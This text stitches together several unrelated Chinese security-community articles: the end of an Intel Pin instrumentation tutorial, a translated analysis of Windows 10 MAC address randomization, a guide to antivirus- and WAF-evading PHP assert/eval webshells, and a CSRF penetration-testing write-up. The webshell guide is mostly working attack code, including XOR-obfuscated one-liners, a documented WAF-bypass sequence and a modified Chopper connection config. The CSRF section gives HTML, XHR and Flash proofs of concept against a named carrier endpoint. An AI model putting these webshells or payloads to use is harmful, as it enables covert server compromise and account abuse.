BBL_InsertCall(bbl, IPOINT_ANYWHERE, AFUNPTR(docount), IARG_FAST_ANALYSIS_CALL, IARG_UINT32, BBL_NumIns(bbl), IARG_END);
}
}
... ...
在对比较复杂的大型函数使用该方法时，效果并不明显，但不会造成性能的下降。
第二个调用链接优化是消除帧指针。如果使用gcc，则推荐加上"-fomit-frame-pointer"选项。Pin官方的标准Pintool的makefile包括该选项。与`PIN_FAST_ANALYSIS_CALL`一样，该选项对“小”函数的效果比较明显。需要注意的是，debugger会根据帧指针来显示堆栈回溯情况，所以如果想调试Pintool的话，就不要设置该选项。如果使用标准的Pintool的makefile来进行变异，则可以通过修改`OPT`选项来进行改变：
make OPT=-O0
### **_7.6 重写有条件的分析例程实现Pin内联_**
Pin通过自动内联没有控制流变化的分析routine来提升插桩性能。但是有很多分析routine是有控制流的，最典型的就是有一个简单的“if-then”的条件语句，它只会执行少量的分析代码，并“then”部分只执行一次。为了将这类的语句转换为常规的没有控制流变化的语句，Pin提供了一些插桩API来重写分析routine。下面是一个重写的例子：
例如我们当前想要实现的一个分析routine的代码如下：
// IP-sampling分析routine实现:
VOID IpSample(VOID *ip)
{
--icount;
if (icount == 0)
{
fprintf(trace, "%p\n", ip);
icount = N + rand() % M;
}
}
在原始的IpSample()函数中有一个明显的条件语句，会存在控制流的变化。如何消除该条件控制流的存在呢？
可以看到分析routine内部其实可以拆解为2部分功能：`icount`的自减和“if”语句，那么可以使用两个单独的函数实现。而且，前者比后者的执行频率要更高。拆解后的代码如下：
/*
* IP-sampling分析routine实现:
*
* VOID IpSample(VOID *ip)
* {
* --icount;
* if (icount == 0)
* {
* fprintf(trace, "%p\n", ip);
* icount = N + rand() % M;
* }
* }
*/
// 计算icount
ADDRINT CountDown()
{
--icount;
return (icount == 0);
}
// 打印当前指令的IP并且icount被重置为N和N+M中的一个随机数
VOID PrintIp(VOID* ip)
{
fprintf(trace, "%p\n", ip);
// 准备下次计算
icount = N + rand() % M;
}
一个完整的实现消除控制流变化的代码如下：
/* source/tools/ManualExamples/isampling.cpp */
#include <stdio.h>
#include <stdlib.h>
#include "pin.H"
FILE* trace;
const INT32 N = 100000;
const INT32 M = 50000;
INT32 icount = N;
/*
* IP-sampling分析routine实现:
*
* VOID IpSample(VOID *ip)
* {
* --icount;
* if (icount == 0)
* {
* fprintf(trace, "%p\n", ip);
* icount = N + rand() % M;
* }
* }
*/
// 计算icount
ADDRINT CountDown()
{
--icount;
return (icount == 0);
}
// 打印当前指令的IP并且icount被重置为N和N+M中的一个随机数
VOID PrintIp(VOID* ip)
{
fprintf(trace, "%p\n", ip);
// 准备下次计算
icount = N + rand() % M;
}
VOID Instruction(INS ins, VOID* v)
{
// 每条指令执行后都会调用CountDown()
INS_InsertIfCall(ins, IPOINT_BEFORE, (AFUNPTR)CountDown, IARG_END);
// 只有当CountDown返回非0值时才会调用PrintIp()
INS_InsertThenCall(ins, IPOINT_BEFORE, (AFUNPTR)PrintIp, IARG_INST_PTR, IARG_END);
}
VOID Fini(INT32 code, VOID* v)
{
fprintf(trace, "#eof\n");
fclose(trace);
}
/* ===================================================================== */
/* Print Help Message */
/* ===================================================================== */
INT32 Usage()
{
PIN_ERROR("This Pintool samples the IPs of instruction executed\n" + KNOB_BASE::StringKnobSummary() + "\n");
return -1;
}
/* ===================================================================== */
/* Main */
/* ===================================================================== */
int main(int argc, char* argv[])
{
trace = fopen("isampling.out", "w");
if (PIN_Init(argc, argv)) return Usage();
INS_AddInstrumentFunction(Instruction, 0);
PIN_StartProgram();
return 0;
}
使用条件插桩API
`INS_InsertIfCall()`和`INS_InsertThenCall()`来告诉Pin只有当`CountDown()`执行结果非0时，才执行`PrintIp()`。这样一来，`CountDown()`函数就可以内联在Pin中，对于没有内联的PrintIp()则只有在满足条件时才会执行一次。
`INS_InsertThenCall()`插进去的函数只有在`INS_InsertIfCall()`插进去的函数返回非0值时才会执行。这个功能可以说是一个十分巧妙的功能。
## **_8\. 构建自己的Pintool_**
在开发自己的Pintool时，可以copy一份example目录，
然后在`makefile.rules`文件中添加上自己的tool，可以以最简单的MyPinTool为模版。
### **_8.1 在套件目录树内进行构建_**
如果直接修改`MyPinTool`，并且没有特殊的编译需求，则直接使用默认配置就好。如果要新增tool或者需要指定特殊的构建标志，则需要修改`makeifile.rules`文件。
构建YourTool.so(源文件为YourTool.cpp)：
make obj-intel64/YourTool.so
如果想编译成IA-32架构，则使用“obj-ia32”替换“obj-intel64”即可。
### **_8.2 在套件目录树外构建_**
copy文件夹`MyPinTool`到指定位置子，然后编辑`makefile.rules`文件。
make PIN_ROOT=<path to Pin kit> obj-intel64/YourTool.so
要更改将创建工具的目录，可以从命令行覆盖 OBJDIR 变量：
make PIN_ROOT=<path to Pin kit> OBJDIR=<path to output dir> <path to output dir>/YourTool.so
## **_9\. Pin的makefile_**
### **_9.1 配置目录_**
目录`source/tools/Config`中存放了make配置的基本文件，不要轻易修改这些文件，可以基于其中的模版文件进行更新。
下面对其中的几个关键文件进行说明：
* makefile.config：在include链中第一个应该include的文件。它保存了用户可用的所有相关标识和变量的文档，此外还包括特定于OS的配置文件。
* unix.vars：该文件包含makefile使用的一些架构变量和实用程序的Unix定义。
* makefile.default.rules：该文件包含默认的make目标、测试用例和构建规则。
### **_9.2 测试目录_**
`source/tools`目录下的每个测试性质的目录中都包含makefile链中的两个文件：
* makefile：运行make时调用，不要修改。其中保存了makefile链的所有相关配置文件的包含指令，属于通用文件，在所有的测试目录中都是相同的。
* makefile.rules：目录特定文件，不同测试目录，文件内容不同。它保存了当前目录的逻辑，应该在目录中构建和运行的所有工具、应用程序和测试等都在该文件中进行定义。
### **_9.3 向makefile中添加测试、工具和应用_**
下面介绍如何通过makefile构建二进制程序并运行测试。以下描述的变量都在`makefile.rules`文件的"Test targets"部分进行描述：
* TOOL_ROOTS：定义工具名称，不带文件扩展名，具体的文件扩展名将由make自动添加，例如YourTools.so；
* APP_ROOTS：定义应用程序，不带文件扩展名，具体的文件扩展名将由make自动添加，例如YourApp.exe；
* TEST_ROOTS：定义测试，不要加.test后缀，make会自动添加，例如YourTest.test。
### **_9.4 定义构建规则_**
默认使用的构建规则是`source/tools/Config/makefile.default.rules`，输入为单一的c/cpp文件，生成相同名字的二进制程序。如果输入为多个源文件，且需要自定义构建规则，可以在`make.rules`文件的"Build
rules"部分的末尾添加。如下是规则例子：
构建单一源文件且不进行优化：
# Build the intermediate object file.
$(OBJDIR)YourTool$(OBJ_SUFFIX): YourTool.cpp
$(CXX) $(TOOL_CXXFLAGS_NOOPT) $(COMP_OBJ)$@ $<
# Build the tool as a dll (shared object).
$(OBJDIR)YourTool$(PINTOOL_SUFFIX): $(OBJDIR)YourTool$(OBJ_SUFFIX)
$(LINKER) $(TOOL_LDFLAGS_NOOPT) $(LINK_EXE)$@ $< $(TOOL_LPATHS) $(TOOL_LIBS)
构建多源文件且进行优化：
# Build the intermediate object file.
$(OBJDIR)Source1$(OBJ_SUFFIX): Source1.cpp
$(CXX) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
# Build the intermediate object file.
$(OBJDIR)Source2$(OBJ_SUFFIX): Source2.c Source2.h
$(CC) $(TOOL_CXXFLAGS) $(COMP_OBJ)$@ $<
# Build the tool as a dll (shared object).
$(OBJDIR)YourTool$(PINTOOL_SUFFIX): $(OBJDIR)Source1$(OBJ_SUFFIX) $(OBJDIR)Source2$(OBJ_SUFFIX) Source2.h
$(LINKER) $(TOOL_LDFLAGS_NOOPT) $(LINK_EXE)$@ $(^**:**%.h**=**) $(TOOL_LPATHS) $(TOOL_LIBS)
### **_9.5 在makefile.rules定义测试片段_**
在"Test recipes"部分自定义自己的测试需求，例如：
YourTest.test: $(OBJDIR)YourTool$(PINTOOL_SUFFIX) $(OBJDIR)YourApp$(EXE_SUFFIX)
$(PIN) -t $< -- $(OBJDIR)YourApp$(EXE_SUFFIX)
### **_9.6 变量和标志_**
摘取`makefile.config`中几个重点的标志进行说明：
`IN_ROOT`：在套件外构建工具时指定Pin套件的位置。
`CC`: 指定工具的默认c编译器。
`CXX`：指定工具的默认c++编译器。
`APP_CC`：指定应用程序的默认 c 编译器。如果未定义，APP_CC 将与 CC 相同。
`APP_CXX`：指定应用程序的默认 c++ 编译器。如果未定义，APP_CXX 将与 CXX 相同。
`TARGET`：指定默认目标架构，例如交叉编译。
`ICC`: 使用英特尔编译器构建工具时指定 ICC=1。
`DEBUG`: 当指定 DEBUG=1 时，在构建工具和应用程序时会生成调试信息。此外，不会执行任何编译和/或链接优化。
* * * | 社区文章 |
# 讲解win10上的MAC地址随机化运行机制
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.mathyvanhoef.com/2016/03/how-mac-address-randomization-works-on.html>
译文仅供参考，具体内容表达以及含义原文为准。
苹果公司在其设备联入Wi-Fi网络时，会使用随机生成的MAC地址。当苹果公司宣布这一消息时，也引起了各大媒体和人民群众的广泛关注。当然了，这种机制能够[防止公司追踪你的上网行为](https://www.youtube.com/watch?v=C5EejdkA0Is)，而苹果公司也是业内首家采用这种安全机制的公司。除此之外，Windows和安卓操作系统的各大手机制造商也在悄悄地试图赶上这一发展趋势。所以，某些运行了Windows操作系统的设备目前也支持MAC地址随机化了。我们将在这篇文章中对MAC地址随机化技术进行讨论，并且还会对此项技术中的一些设计缺陷进行分析。需要注意的是，我们在这篇文章中所讨论的内容仅仅是最近所发表的一篇论文（论文标题为“[为什么MAC地址随机化仍然不够：
Wi-FI网络发现机制的分析报告](http://papers.mathyvanhoef.com/asiaccs2016.pdf)”）中的一部分。
**MAC地址随机化的工作机制**
微软首先在其Windows
10操作系统中引入了MAC地址随机化技术。不幸的是，只有当你的电脑中安装有WiFi无线网卡和相应驱动程序的情况下，你才可以使用这一功能。比如说，如果你使用的是英特尔7265
AC，那么你必须在安装了最新版本的驱动程序之后，你才可以使用这一功能。你可以通过下图所示的方法来查看你的硬件设备是否支持使用MAC地址随机化功能：
如果你的硬件支持使用MAC地址随机化功能，那么你将会在窗口顶部看到下图所示的选项：
正如你所看到的那样，我的笔记本电脑开启了这一功能。目前为止，设备运行一切正常。但是，我还发现了一件非常有趣的事情，当Windows设备连接至无线网络之后，它也会使用MAC地址随机化技术。相比之下，苹果设备只会在搜索附近可用的无线网络时才会使用随机生成的MAC地址，然后当设备连接至了某一目标无线网络之后，设备仍然会使用其原始的MAC地址。所以，从这个角度来分析的话，Windows10能够给提供的隐私安全保障要比苹果设备所提供的要强得多。
如果在用户进行身份验证的过程中需要使用设备的MAC地址的时候，那么使用随机生成的MAC地址来接入网络将会引起一些问题。有趣的是，Windows设备在每次与某一特定的网络进行连接时，使用的都是同样的随机MAC地址，所以这也就成功避免了用户在身份验证过程中可能会遇到的问题。比如说，当你需要使用某一收费的Wi-Fi热点时，路由会利用设备的MAC地址来对你的身份进行验证。目前看来，一切都没有问题。当你首次连接至这一无线网络时，Windows将会生成一个随机的MAC地址。但是，当你经过一段时间之后，想要再次连接这个无线网络时，Windows将会再次使用之前针对这一无线网络所生成的MAC地址。因此，目标路由仍然可以识别你的身份，所以你就不需要再次进行付费了。但是，这种机制有一个缺点：因为当你连接至某一特定的网络时，设备所使用的MAC地址都是一样的。所以攻击者就可以了解到某一特定设备联入网络的时间。然而，与之前使用原始的MAC地址相比，Windows
10中所采用的MAC地址随机化技术还是可以从一定程度上保护你的隐私安全。
从技术层面来看，当设备连接至某一无线网络时，系统生成随机MAC地址的计算方式如下：
address = SHA-256(SSID, real MAC address, connectionId, secret)
在上面这条公式中，“SSID”为你所要连接的网络名称；“real MAC
address”为设备网卡的原始MAC地址；“connectionId”是一个值，当用户断开（或者重新连接）与目标网络的连接之后，这个值就会改变（当Windwos
10的用户点击了“忘记此网络”选项之后，这个值也会改变）。“secret”参数是一个在系统初始化的过程中所生成的256位加密随机数，这个值在设备重启之后仍然不会改变。每一个接口的“secret”参数值都不相同，目的就是为了保证每一个接口所分配到的随机MAC地址都不一样。当[Huitema首次向大家介绍了此项技术的工作机制之后](https://www.ietf.org/proceedings/93/slides/slides-93-intarea-5.pdf)，我们这篇文章是第一个对此计算公式进行详细讲解的文章。
当然了，我们也可以针对特定的网络环境来禁用MAC地址随机化功能。在这种情况下，Windows操作系统将会使用设备原始的MAC地址来连接目标网络。你可以通过下图所示的操作步骤来对特定的网络进行相应的配置：
在对每一个特定的网络进行配置时，用户将会看到下列三种选项：
l On（打开）：当设备与该网络进行链接时，总是使用相同的随机化MAC地址。
l Off（关闭）：当设备与该网络进行链接时，总是使用设备的原始MAC地址。
l Change daily（每天生成新的随机MAC地址）：系统每天都会随机生成一个新的MAC地址来供用户使用。
请注意，如果设备没有通过上述选项来启用随机化MAC地址功能，那么Windows
10操作系统在扫描附近可用的无线网络时，将会一直使用随机生成的MAC地址。当你连接或断开某一特定的无线网络，或者重启设备之后，扫描地址都会发生变化。即使MAC地址并不会经常发生变化，但是这也足以防止他人对你的上网行为进行跟踪了。相比之下，苹果设备在扫描网络地址的过程中，其MAC地址几乎每隔几分钟就会改变一次，这也就更加能够保护你的隐私安全了。
**基本的安全分析**
Windows
10所采用的这种随机化技术能够有效地保护你的隐私安全。所以，请广大用户尽快开启这一功能吧！不幸的是，这项技术目前并不完美，因为我们仍然可以有很多的办法来绕过这一保护机制。
首先。我们讨论其中的一个设计缺陷。当设备的随机MAC地址改变时，设备WiFi数据帧中的序列号并没有被重置。系统在检测和重发数据包时，需要使用到这个序列号，当系统成功发送了一个帧之后，相应的值会加1。正如下图所示，当用户连接至了某一网络之后，MAC地址会发生改变，但是序列计数器却没有复位：
最后一个数据帧是由ea:69:0a:*发送的，其序列号为92。而地址7c:5c:f8:*所对应的序列号为94。这也就意味着，攻击者只要能够在其数据中包含这两个数据帧，那么他就可以向目标设备发送信息了。换句话来说，只要攻击者能够发现哪个设备使用了这两个数据帧，他就可以绕过MAC地址随机化这一保护技术了。
其次，当Windows 10与Hotspot 2.0网络进行连接时，将会暴露其真实的MAC地址。简而言之，Hotspot 2.0(HS 2.0)是由Wi-Fi联盟和无线带宽联盟一同开发的，旨在实现移动网络和Wi-Fi网络之间的无缝流量切换，它不需要额外的用户注册和验证。Hotspot
2.0采用最新批准的IEEE 802.11u协议，能够实现设备和接入端(AP)之间的通信，支持自动发现网络、授权和分配访问权限。
**详细的安全分析**
如果大家想要了解更多关于MAC地址随机化技术的信息，请点击[这里](http://papers.mathyvanhoef.com/asiaccs2016.pdf)获取。我在这篇文章中详细介绍了其中的技术细节。 | 社区文章 |
# 【技术分享】assert免杀一句话
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **** **3xp10it**
****](http://bobao.360.cn/member/contribute?uid=2795848922)
**预估稿费：400RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x00 eval和assert的区别**
<http://www.vuln.cn/8395>
<http://www.php.net/manual/zh/function.eval.php>
<http://php.net/manual/zh/functions.variable-functions.php>
1)assert是函数,eval不是函数,是语言构造器
2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串,assert($a)的$a如果是字符串形式不能有2个以上的分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现
eg.
assert(eval("echo 1;echo 2;"));
[注意上面这句如果是assert(eval("echo 1;echo 2"));这样写是不会执行echo 1也不会执行echo
2的,因为eval使用的字符串要是有分号的php语句]
eg.
assert(eval(base64_decode($_POST[cmd])));
菜刀的连接方式为:
assert(eval(base64_decode($_POST[z0])));
新版菜刀无法连接assert类型的一句话,因为新版菜刀将连接方式改成了:
chopperPassValue=$xx=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$yy=$_POST;@eval($xx($yy[z0]));
相当于:
$xx="base64_decode"
@eval($xx($_POST[z0]))
也即新版菜刀这里有两个以上的分号导致无法连接assert类型的一句话
link:<http://joychou.org/index.php/web/caidao-20141213-does-not-support-php-assert-oneword-backdoor-analysis.html>
2011年前的菜刀支持assert类型的webshell,2014年以后的菜刀不支持assert类型的webshell
3)实例
a)assert(phpinfo());
或
b)assert("phpinfo()");
或
c)assert("phpinfo();");
上面3个都是可以的,因为PHP函数中的参数如果是字符串可以不加双引号,但是:
a)assert(phpinfo();)不可执行,因为assert后面要接一个表达式,phpinfo();不是表达式,是一条php语句,但是换成assert("phpinfo();")就可以执行了,这样"phpinfo();"当作是一个表达式,但是"phpinfo();print_r(666);"[assert的参数为字符串时字符串的引号中有多个分号时]不被当作表达式
b)assert("echo 1")是不可执行的,因为assert不能执行echo,eval("echo
1")是可以的,assert类型的webshell不能用echo来检测,可以用print_r(1),也即assert("print_r(1)")或assert("print_r(1);")都是可以的
c)assert("print_r(1);print_r(2);")或assert("print_r(1);print_r(2)")都只能执行print_r(1),assert只会执行到第一个分号内的语句
**0x01 一个waf的绕过过程**
1\. waf过滤大部分关键字,eg.base64_decode,“,system等
2.尝试用如下方法绕过[uri=mytag_js.php?aid=9527],是个assert类型的webshell,通过echo不能执行,print_r可以执行判断出不是eval类型webshell
3.考虑有可能是新版菜刀不支持assert类型的webshell连接,换成老版本菜刀依然失败,换成下面过waf的菜刀依然失败<http://joychou.org/index.php/web/make-own-chopper-which-can-bypass-dog.html>
4.hackbar中post:[下面假设密码是x]
x=eval("echo 1;$one=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103));$three=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));echo $_POST[nihao];")&nihao=cGhwaW5mbygp
其中$one="assert",$three="base64_decode",$nihao="phpinfo()"以base64编码后的结果,结果无法成功执行phpinfo(),将chr去掉变成:
x=eval("echo 1;echo
$_POST[nihao];")&nihao=cGhwaW5mbygp,可以执行简单的echo,现在要想办法把$one和$three换成其他形式,其他不是chr组合的形式
5.尝试post换成如下数据[没有chr]:
x=eval("echo 1;$one='assert';$three='b'.'as'.'e'.(64).'_decode';@$one(@$three($_POST[nihao]));")
依然失败
6.尝试不用base64_decode,用rot13
x=eval(' assert(str_rot13("cucvasb()")) ;')
可执行phpinfo()语句,尝试执行system("whoami"),如下:
x=eval(' assert(str_rot13("flfgrz("jubnzv")")) ;')
执行失败,有可能是php禁用了命令执行函数或服务器开启了安全模式
7.考虑直接执行读文件php代码
x=eval('$filename ="../index.php";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize ($filename));
print_r($contents);
fclose($handle);')
结果可以执行成功,只是控制起来不方便,每次要自己写php代码,尝试改chopper,将里面的关键处的base64_decode换掉
8.最新版本的菜刀可配置度较高,但仍然采用base64加密传输,在菜刀目录下有个caidao.conf利用下面两个特性更改<PHP_BASE>标签中的连接方法可过狗:
a)assert类型的webshell正常情况下只能执行一句话[一个分号内的内容],想让assert类型的webshell执行多句PHP代码,可借助eval执行多条命令
b)把base64_decode想办法混淆eg.将caidao.conf中的PHP_BASE改成如下内容:
eval('$a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);@eval($a("%s"));');
成功过狗
9.在waf阻拦下无法连接一句话chopper时,每种waf的阻拦规则不一样,可在新版chopper目录下放多个不同的可过waf的配置文件备用,一个caidao.conf不过狗时再用其他caidao.conf,有效配置为"caidao.conf"文件
**0x02 免杀无特征无关键字一句话**
**1. 用chr(%d)^chr(%d)代替上面的chr**
for($i=1;$i<=200;$i++)
{echo 'chr(19)^chr('.$i.') is:';
echo chr(19)^chr($i);
echo '<br>';}
**2. 上面的php代码可得到以chr(19)为基础的关键字的组合形式如下:**
chr(19)^chr(114) is:a
chr(19)^chr(96):s
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(97) is:r
chr(19)^chr(103) is:t
chr(19)^chr(113):b
chr(19)^chr(114):a
chr(19)^chr(96):s
chr(19)^chr(118) is:e
chr(19)^chr(37) is:6
chr(19)^chr(39) is:4
chr(19)^chr(76) is:_
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
chr(19)^chr(112) is:c
chr(19)^chr(124) is:o
chr(19)^chr(119) is:d
chr(19)^chr(118) is:e
**3. 组合**
$a=(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(96)).(chr(19)^chr(118)).(chr(19)^chr(97)).(chr(19)^chr(103)) ;
$b=(chr(19)^chr(113)).(chr(19)^chr(114)).(chr(19)^chr(96)).(chr(19)^chr(118)).(64).(chr(19)^chr(76)).(chr(19)^chr(119)).(chr(19)^chr(118)).(chr(19)^chr(112)).(chr(19)^chr(124)).(chr(19)^chr(119)).(chr(19)^chr(118));
$a($b($_POST[cmd]));
**4. 用法**
eg.
在hackbar中post:
cmd=ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==
其中ZXZhbCgnZWNobyAxO3BocGluZm8oKTsnKQ==是eval('echo 1;phpinfo();')的base64编码的结果
如果要执行更复杂的功能可通过以下步骤:
a)在菜刀中新加webshell的url和对应密码
b)_charles开sock5代理,eg.127.0.0.1:8889
c)用proxfier设置菜刀[任意版本菜刀都可]的代理为b)中提供的127.0.0.1:8889
d)把想做的动作在菜刀中做出来,在charles中查看对应的base64编码过的代码是什么
e)将d中得到的base64编码过的代码用hackbar或其他工具base64decode,将解码后的php代码替换上面eval('echo
1;phpinfo();')中的echo
1;phpinfo();后再将eval('这里是解码后的代码')这个整体用hackbar或其他工具base64编码下
f)最后将cmd=xxxxxxxxxxxx 在hackbar中post出去,其中xxxxxxxxx是e中编码后的结果
**5. 特点**
a)传输的数据是base64加密过的没有任何关键字的数据
b)服务端一句话没有任何关键字
c)利用方式不是很方便
**0x03 相关链接**
mytag_js.php样本文件及分析
样本文件:<https://github.com/3xp10it/webshell/tree/master/mytag_js>
相关分析:<http://www.nxadmin.com/penetration/1168.html> | 社区文章 |
## 0x00 前言
#### 漏洞背景
hw时期在电信三巨头之一旗下的子公司出差，做一下渗透测试。公网的业务主挖逻辑漏洞，但是每次挖着挖着就变成了CSRF攻击，出差半个月算是把这辈子的CSRF都给挖完了。
testme师傅说的一句话：开发者修或不修，挖洞者觉得鸡肋不鸡肋，CSRF漏洞就躺着那里。这一次的体会很深，某云基本所有的业务逻辑都存在CSRF洞。
#### CSRF原理
还是来梳理一下大致的流程
1.用户C浏览并登录信任网站A
2.验证通过，Web A产生一个Cookie返回给用户C
3.用户在没有等处的情况下访问Web B
4.B要求访问第三方站点Web A，发出一个请求
5.浏览器带着步骤2产生的Cookie，根据步骤4的请求访问Web A
这就造成了一次CSRF攻击，原理是利用目标用户的合法身份，以用户的名义执行非法操作
## 0x01 常见CSRF利用
#### GET型CSRF
这里选择DVWA的low级，可以抓包查看修改密码的请求如下
可以看到发送了一个GET请求，来看看有哪些HTML元素可以实现这一请求
HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求，具体如下：
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">
以及CSS样式中的：
@import ""
background:url("")
...
这里可以直接选择Burp Suite的Generate CSRF PoC生成
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
当用户在登录状态下打开并点击Submit request按钮时，便会提交修改密码请求
#### POST型CSRF
POST型与GET型的区别就在于POST型CSRF需要构造form表单，再由JavaScript自动提交
这里给出一个参考的攻击页面，当然也可以Burp Suite直接生成POC
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>
## 0x02 真实场景利用
#### 某云多处POST型CSRF
##### 创建Access Key
由于是即将上线的业务，6月22日前暂未修复，关键数据打马
创建Access Key只是向服务器提交了一个POST请求，数据为空，POC如下
当用户在已登录情况下打开，会创建一个Access Key
##### 删除Access Key
这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)
我最先测的是删除的这个功能点，但是甲方不收，说这个id没有办法获取到，后来才测了创建的那个功能点。实际上，整个系统能够越权的地方都产生了CSRF，不能越权的地方也可以用CSRF去打，算是通病了。
POC与上面那个类似，唯一区别就是这里带了post数据，value替换为相应id即可。
今天准备复现的时候发现系统已经暂时下线了，估计正在修复，所以用了之前提交的测试报告的图。
## 0x03 Json格式下的CSRF
在内网测试域遇到了一个POST型CSRF，且提交的数据为json格式
如果直接用常规poc的话，会导致415，poc如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢？原因如下：
1、POSTbody需要以JSON格式发送，而这种格式如果用HTML表单元素来构建的话会比较麻烦。
2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests，而它还会向服务器端发送OPTIONS预检请求。
#### 思路一：json格式闭合
我们可以抓包看一下这个poc提交的请求详情
可以看到这段POST数据结尾多了一个`=`，这种情况下服务端的JSON解析器可能会拒绝这段JSON，因为它不符合JSON的数据格式。
这时候我们可以给value赋值从而对`=`后的数据进行补全，使其构造成一个完整的json格式，可以避免解析器报错
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />
可以看到这里已经闭合成了一个完整的json格式的数据，但是提交数据还是会返回415.因为在原始的数据包中`Content-Type`为`application/json`，而以form表单的形式去提交是没办法设置`enctype`为`application/json`的。为了进一步验证，修改`enctype`为`application/json`，再抓包查看请求详情。
可以看到`Content-Type`自动转换为了`application/x-www-form-urlencoded`，进一步验证
将`enctype`改回`text/plain`并抓包，修改`Content-Type`为`application/json`
返回操作成功，自此可以确定服务端对`Content-Type`进行了校验。
#### 思路二：通过XHR提交
当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时，浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法，然后根据服务端响应允许才发送真正的请求。
然而如果服务端对Content-Type进行校验，则不会响应这个OPTIONS请求，从而利用失败。
所以在此场景下，这一思路是行不通的。但是更多的情况下服务端可能不会校验Content-Type，或者不会严格校验Content-Type是否为application/json，所以很多情况下这是可用的。
**XHR CSRF POC**
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
#### 思路三：借助flash，利用307跳转实现CSRF
1.制作一个Flash文件
2.制作一个跨域XML文件
3.制作一个具有307状态码的php文件
已经有大牛造好轮子了，参考：<https://github.com/sp1d3r/swf_json_csrf>
**POC**
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
或者直接在ui.html页面配置
整个攻击链
1、受害者访问POC，向attacter.com发起一条swf请求，swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转，跳转到victim.com，注意307跳转会带着http请求方式，header和postdata进行跳转。
3、victim.com收到一条POST请求，并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行，导致跨域。并且victim.com能收到crossdomain.xml请求，也证明了第三步的POST请求是Flash发出，而不是307.php发出。
然而在实际测试中却并没有起到理想中的效果，只能是记录一下方法
## 0x04 防御CSRF
#### 检查Referer
一般情况下，用户提交站内请求，Referer中的来源应该是站内地址。如果发现Referer中的地址异常，就有可能遭到了CSRF攻击。在浏览器客户端层面，使用JavaScript和ActionScript已经无法修改HTTP
Referer了，检查Referer字段是个不错的方法。
#### 限制Cookie生命周期
CSRF产生的主要原因就是Cookie时效性未过的情况下，冒用用户身份进行非法操作。而如果cookie失效，或者退出登录，甚至切换一个浏览器，CSRF就不复存在了。限制Cookie的生命周期，一定程度上能减少被CSRF攻击的概率。
#### 使用验证码
使用验证码是阻断CSRF攻击的有效手段，在用户进行相应操作时输入验证码，可以最大限度上杜绝CSRF，唯一的缺点是会降低用户体验。
#### 使用一次性token
Anti-CSRF-token是当下最流行的解决方案，在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token，并在服务端进行token校验，如果请求中没有token或者token内容不正确，则认为是CSRF攻击而拒绝该请求。
## 0x05 Reference
